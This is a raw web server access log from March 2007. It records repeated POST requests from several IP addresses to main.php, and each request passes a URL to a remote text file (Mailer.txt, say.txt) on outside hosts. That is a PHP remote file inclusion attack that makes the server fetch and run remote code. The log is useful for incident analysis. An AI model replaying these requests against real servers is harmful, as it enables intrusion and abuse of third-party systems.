41.204.224.10 - - [12/Mar/2007:05:33:58 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25047 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:34:33 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25193 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:35:18 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24983 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:36:05 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24837 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:36:59 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24959 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:38:11 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24917 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:38:35 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24795 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:39:38 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24985 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:40:03 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24921 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:41:17 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24993 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:41:49 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25003 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:42:49 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25091 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:43:25 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24987 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:44:04 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25041 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:05:44:55 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 10135 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
41.204.224.10 - - [12/Mar/2007:05:44:44 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24955 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:45:28 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24865 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:46:15 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24831 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:47:14 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25003 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:48:57 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24957 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:49:21 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24865 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:53:11 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24915 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:53:45 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 12314 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:05:59:16 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 28804 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
81.199.198.186 - - [12/Mar/2007:06:02:09 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19441 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:03:45 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19431 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:05:09 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19491 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:06:36 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 18903 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:07:43 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 18849 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:08:44 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 18931 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:09:59 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19063 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:10:45 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19121 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:11:57 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19237 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:14:18 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19125 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:06:11:51 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 33538 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
81.199.198.186 - - [12/Mar/2007:06:16:07 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19225 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:17:32 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19111 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:19:53 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19235 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:29:09 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19258 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:30:30 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19234 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:31:13 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19104 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:31:58 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 18998 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:32:55 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19128 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:06:29:50 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 40880 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
81.199.198.186 - - [12/Mar/2007:06:33:58 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19122 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:34:49 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19060 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:35:33 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19074 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:36:08 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19116 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:37:52 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19046 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:38:30 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19030 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:39:02 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19186 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:40:39 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 18992 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:41:32 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19126 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:42:24 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19136 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:44:19 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19056 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:46:18 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19194 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:06:47:21 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 16191 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
81.199.198.186 - - [12/Mar/2007:06:48:14 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 11481 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:50:04 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19158 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:51:17 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19178 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:06:49:02 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 39158 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
81.199.198.186 - - [12/Mar/2007:06:54:55 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19200 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:55:30 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19104 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:56:23 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19104 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:57:31 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19114 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:06:58:53 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19220 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:06:57:31 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 35720 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
81.199.198.186 - - [12/Mar/2007:07:03:33 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19366 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:07:02:22 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 39807 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:07:06:40 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19232 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:07:07:35 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19246 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:07:09:14 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 11481 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:07:07:29 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 25781 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:07:10:04 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19098 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:07:11:12 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19098 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:07:13:29 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19082 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:07:14:16 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19082 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:07:16:29 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19158 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:07:10:42 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 53651 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:07:15:33 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 30756 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
81.199.198.186 - - [12/Mar/2007:07:18:31 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19005 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:07:18:31 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 18397 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:07:20:20 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 12009 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
